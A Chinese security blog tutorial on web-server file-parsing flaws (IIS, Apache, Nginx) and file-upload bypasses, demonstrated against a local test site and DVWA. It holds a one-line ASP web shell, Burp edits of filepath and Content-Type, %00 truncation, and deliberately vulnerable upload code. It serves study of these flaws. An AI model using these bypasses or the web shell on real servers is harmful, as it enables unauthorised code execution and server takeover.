解析漏洞整理

悠悠 2022-07-12 19:12 307阅读 0赞

**1.什么是解析漏洞**

以其他格式执行出脚本格式的效果。

**2.解析漏洞产生的条件**

1.命名规则

2.搭建平台

**3.常见的解析漏洞**

**(一)IIS5.x-6.x解析漏洞**  
  
使用iis5.x-6.x版本的服务器，大多为windows server 2003，网站比较古老，开发语句一般为asp;该解析漏洞也只能解析asp文件，而不能解析aspx文件。

**1）目录解析(6.0)**  
  
形式：www.xxx.com/xx.asp/xx.jpg  
  
原理: 服务器默认会把.asp，.asp目录下的文件都解析成asp文件。  
  
**2）文件解析**  
  
形式：www.xxx.com/xx.asp;.jpg  
  
原理：服务器默认不解析;号后面的内容，因此xx.asp;.jpg便被解析成asp文件了。  
  
**3）解析文件类型**  
  
IIS6.0 默认的可执行文件除了asp还包含这三种 :  
  
/test.asa  
/test.cer  
/test.cdx

**(二)IIS7.5解析漏洞**  
  
IIS7.5的漏洞与nginx的类似，都是由于php配置文件中，开启了cgi.fix\_pathinfo，而这并不是nginx或者iis7.5本身的漏洞。

**(三)apache解析漏洞**  
  
漏洞原理  
  
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。  
  
漏洞形式  
  
www.xxxx.xxx.com/test.php.php123  
  
其余配置问题导致漏洞  
  
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。  
  
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以php 方式执行。  
  
修复方案  
  
1.apache配置文件，禁止.php.这样的文件执行，配置文件里面加入  
  
2.用伪静态能解决这个问题，重写类似.php.\*这类文件，打开apache的httpd.conf找到LoadModule rewrite\_module modules/mod\_rewrite.so  
  
把\#号去掉，重启apache,在网站根目录下建立.htaccess文件

**(四)Nginx解析漏洞**  
  
漏洞原理  
  
Nginx默认是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT\_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时，$fastcgi\_script\_name会被设置为“phpinfo.jpg/1.php”，然后构造成SCRIPT\_FILENAME传递给PHP CGI，但是PHP为什么会接受这样的参数，并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix\_pathinfo这个选项了。 如果开启了这个选项，那么就会触发在PHP中的如下逻辑：  
  
PHP会认为SCRIPT\_FILENAME是phpinfo.jpg，而1.php是PATH\_INFO，所以就会将phpinfo.jpg作为PHP文件来解析了  
  
漏洞形式  
  
www.xxxx.com/UploadFiles/image/1.jpg/1.php  
  
www.xxxx.com/UploadFiles/image/1.jpg%00.php  
  
www.xxxx.com/UploadFiles/image/1.jpg/%20\\0.php  
  
另外一种手法：上传一个名字为test.jpg，然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

**总结:**

IIS6.0（x和脚本格式可以自定义）

文件命名形式:

正常命名：[www.xxx.com/logo.jpg][www.xxx.com_logo.jpg]

触发解析漏洞命名：[www.xxx.com/logo.asp;.jpg][www.xxx.com_logo.asp_.jpg] 或 logo.asp;.x.jpg

文件夹命名形式:

正常命名：www.xxx.com/images/qq.jpg

触发解析漏洞命名：[www.xxx.com/image.asp/qq.jpg][www.xxx.com_image.asp_qq.jpg]

IIS7.X(x自定义，只能执行php)

正常命名：[www.xxx.com/logo.jpg][www.xxx.com_logo.jpg 1]

触发解析漏洞命名：[www.xxx.com/logo.jpg/x.php][www.xxx.com_logo.jpg_x.php]

Apache(xxxx代表任意后缀，向上识别解析)

正常命名：[www.xxx.com/a.php][www.xxx.com_a.php]

触发解析漏洞命名：www.xxx.com/a.php.xxxx

Nginx同iis7.x一致

**4.一个简单的解析例子**

测试环境为:windwos2003+iis6.0 注意:测试环境必须是在windwos2003+iis6.0的情况下才能成功解析,不能是小旋风之类的软件来测试。

**1）文件解析**

直接访问图片地址: [ http://192.168.87.129:8067/6.jpg][http_192.168.87.129_8067_6.jpg]

![20170228201005478][]

改变图片后戳名为:6.asp;.jpg 再次访问，就会发现，jpg格式的图片被解析成了asp格式的脚本语言。

![20170228201838708][]

还可以改成:6.asp;1234.jpg 效果是一样的。

![20170228202138119][]

**2）目录解析**

将文件改为一个正常的图片格式文件,然后把它复制到一个test.asp的目录下，然后方法，发现也能正常解析。

![20170228202601001][]

**5.解析漏洞利用场景**

解析漏洞主要用在文件上传,上传一些图片什么的,然后通过解析漏洞,解析为动态语言。而上传很重要的一点就是命名规则,因为如果你不知道,服务器的文件命名规则的话，解析漏洞就不好利用,因为我们要获取我们上传文件名,只有获取到了上传的文件名,才能进行下一步操作,而命名规则无非就是以下两种。

测试源码:[http://download.csdn.net/detail/u011781521/9766646][http_download.csdn.net_detail_u011781521_9766646] 下载好之后,在服务器中新建一个网站,并复制进去。

然后访问首页:[http://192.168.87.129:8898/Index.asp][http_192.168.87.129_8898_Index.asp]

后台登录地址: [http://192.168.87.129:8898/Tcnet/Admin\_Login.asp][http_192.168.87.129_8898_Tcnet_Admin_Login.asp]

文件上传地址: [http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg][http_192.168.87.129_8898_Upload.asp_formname_myform_editname_bookpic_uppath_upfile_filelx_jpg] 用户名与密码: admin admin 注意:必须先要登录才能使用文件上传功能。

**1.本地，服务端命名一致**

**1）filepath上传利用**

直接上传解析漏洞命名的后门文件

访问这个地址:[http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg][http_192.168.87.129_8898_Upload.asp_formname_myform_editname_bookpic_uppath_upfile_filelx_jpg]

![20170228210551930][]

先直接上传一个asp的文件试试看能否上传

![20170228211405721][]![20170228211411862][]

发现并不能上传。那我们就利用解析漏洞来试下看,把asp改为fk.asp;.jpg(注:这里是图片一句话)

![20170228211633472][]

OK能上传。复制上传好的地址，然后访问

![20170228211731838][]

![20170228212151677][]

图片能查看，但是asp并没有被解析。。。这是时候怎么办，从新上传xxx.asp;.jpg,然后用Burp来抓包，进行修改。

![20170228212832164][]

右键发送到Repeater中去

![20170228213220310][]

修改其中的"filepath"在upfile/后面加上aaa.asp;. 然后GO一下你就会发现，这里就成了一个解析漏洞了

![20170228213506688][]

然后访问下这个地址,asp成功的被解析了。

![20170228214801799][]

然后用菜刀进行连接。

![20170228215402949][]

密码就是"include";对应的asp一句话<%execute request("include")%>  然后点击添加。。

![20170228215738615][]

连接成功。

**2.本地，服务端命名不一致，基于时间，日期等命名**

**1）filetype突破**

这里采用DVWA来测试，

![20170228221614653][]

然后点击"View Source"查看源码。

Low代码：

<?php 
    
    if( isset( $_POST[ 'Upload' ] ) ) {  //判断是否是post传过来的，也就是判断upload是否为空
    
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";   //取得网站绝对路径，然后用绝对路径+相对路径得到一个完整的路径。
    
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );   //根据上面得到的完整路径+得到的文件名。
    
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {  //判断你上传的图片是否成功移动到完整路径中
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    
    ?>

$\_FILES\['uploaded'\]\['name'\] ：取得$\_FILES全局文件变量的上传文件名

该源码存在的问题:

第一个没有验证后缀格式

![20170228223102756][]

什么格式得可以上传。。

第二个客户端，服务端文件命名一致

![20170228222854327][]

Medium代码：

<?php 
     
    if( isset( $_POST[ 'Upload' ] ) ) { 
    
        // 我们要往哪里写? 
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
    
        // 文件信息
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    
        // 判断这是一个图片吗? 
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
            ( $uploaded_size < 100000 ) ) { 
    
            // 我们可以移动文件到上传文件夹吗? 
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
            else { 
                // Yes! 
                echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
            } 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 
    
    ?>

$\_FILES\['uploaded'\]\['name'\];     取得$\_FILES全局文件变量的上传文件名

$\_FILES\['uploaded'\]\['type'\];     取得$\_FILES全局文件变量的上传文件类型

$\_FILES\['uploaded'\]\['size'\];    取得$\_FILES全局文件变量的上传大小

验证文件上传类型及大小，还是本地，服务端命名一致

然后我们来上传个asp文件用Burp抓包,看是否能成功上传。

![20170228224113719][]

拦截到之后发送到Repeater,然后GO一下

![20170228225258109][]

上传失败。。。这就很好奇了，明明这里没有验证文件后戳名，为什么还是上传不了???? 但是,他这里验证了文件类型!!我们看下上传的文件是什么类型的

![20170228225406892][]

看它上传的类型为:application/octet-stram 所以他把上传的asp当做application来处理里。

![20170228225112310][]

然后我们改一下content-type的类型为:image/jpeg

![20170228225632454][]

再次GO一下，发现上传成功了。

![20170228225718005][]

**2）%00截断：截断字符**

注意：数据包修改%00，务必进行url编码

把6.asp;.jpg改为6.asp%00.jpg

![20170228231144243][]

然后选中右键把%00进行url编码下。

![20170228231316666][]

这样的话,就把.jpg给截断了，然后就变成了6.asp。

![20170228231455187][]

High代码:

<?php 
    
    if( isset( $_POST[ 'Upload' ] ) ) { 
    
        // 我们要往哪里写? 
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 
    
        // 文件信息
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 
    
        // 判断是否是图片? 
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) && 
            getimagesize( $uploaded_tmp ) ) { 
    
            // 我们可以移动文件到上传文件夹吗? 
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
                // No 
                echo '<pre>Your image was not uploaded.</pre>'; 
            } 
            else { 
                // Yes! 
                echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
            } 
        } 
        else { 
            // Invalid file 
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
        } 
    } 
    
    ?>

strrpos( $uploaded\_name, '.' ) + 1 的作用就是去文件的最后一个点

例如:

www.jpg.zip.txt.asp

他就会截取最后一个点,所以是绕不过的。

然后下面又是一个判断。格式必须是图片型的才能执行下面的代码。

[www.xxx.com_logo.jpg]: http://www.xxx.com/logo.jpg
[www.xxx.com_logo.asp_.jpg]: http://www.xxx.com/logo.asp;.jpg
[www.xxx.com_image.asp_qq.jpg]: http://www.xxx.com/image.asp/qq.jpg
[www.xxx.com_logo.jpg 1]: http://www.xxx.com/logo.jog
[www.xxx.com_logo.jpg_x.php]: http://www.xxx.com/logo.jpg/x.php
[www.xxx.com_a.php]: http://www.xxx.com/a.php
[http_192.168.87.129_8067_6.jpg]: http://192.168.87.129:8067/6.jpg
[20170228201005478]: /images/20220709/de499988145b41eb9d5039d3097f51dc.png
[20170228201838708]: /images/20220709/666892ff853e45b89f0055605d72706a.png
[20170228202138119]: /images/20220709/bdd5a32b2928445d8b13a33f93eaeec1.png
[20170228202601001]: /images/20220709/fd85d912b4a64e9dab020f5202d07a12.png
[http_download.csdn.net_detail_u011781521_9766646]: http://download.csdn.net/detail/u011781521/9766646
[http_192.168.87.129_8898_Index.asp]: http://192.168.87.129:8898/Index.asp
[http_192.168.87.129_8898_Tcnet_Admin_Login.asp]: http://192.168.87.129:8898/Tcnet/Admin_Login.asp
[http_192.168.87.129_8898_Upload.asp_formname_myform_editname_bookpic_uppath_upfile_filelx_jpg]: http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg
[20170228210551930]: /images/20220709/4578009d42524d9d8e4f2a27c3cccb95.png
[20170228211405721]: https://img-blog.csdn.net/20170228211405721
[20170228211411862]: /images/20220709/11cca0fd77d94578b6c3f4dd26068795.png
[20170228211633472]: /images/20220709/4f144a46e1c34d499cb6ea75e2a22354.png
[20170228211731838]: /images/20220709/81c8af1840ee4cba922aadb05ced46e7.png
[20170228212151677]: /images/20220709/72d0021a188c47e69afdc63346d0caee.png
[20170228212832164]: /images/20220709/5086f12af0824d44826beb1a7834bcc1.png
[20170228213220310]: /images/20220709/5c34f04cc0e54d0b85744f04ab679fcd.png
[20170228213506688]: /images/20220709/22bad0af4812435ca5a6c40f8eddb6ea.png
[20170228214801799]: /images/20220709/f74e56cb00ed432597903aead65a1968.png
[20170228215402949]: /images/20220709/5b014d737eda470888bd93182f9e22a6.png
[20170228215738615]: /images/20220709/b4b891824fe04b2daff4901f4de4d78b.png
[20170228221614653]: /images/20220709/73e7ce353a264696a969129f53a34deb.png
[20170228223102756]: /images/20220709/d625ff2e4bca489fb5c52e535f69a8fe.png
[20170228222854327]: /images/20220709/0845820993ed46bc88ffaa88d29b95bb.png
[20170228224113719]: /images/20220709/ff5d1133cf564e928ec6af34faf3f884.png
[20170228225258109]: /images/20220709/54cdb7b7733a4a92ab93c2a67aed91c4.png
[20170228225406892]: /images/20220709/b971d8eb96a64b1ab7455af3d7b8b98d.png
[20170228225112310]: /images/20220709/2ef8bf4242094c5f871d986fe30d6fd3.png
[20170228225632454]: /images/20220709/4a5cdcd68ac64d4a853eda7b846a94ef.png
[20170228225718005]: /images/20220709/03333340b2364825bf4c988d2e77f23c.png
[20170228231144243]: /images/20220709/f5be6e93d5a44e9280cd626c8968af4f.png
[20170228231316666]: /images/20220709/2bca767776bb4c2c8d9ea5f0bd6df487.png
[20170228231455187]: /images/20220709/4c718f34b1754ff6ac06d71695d2d89f.png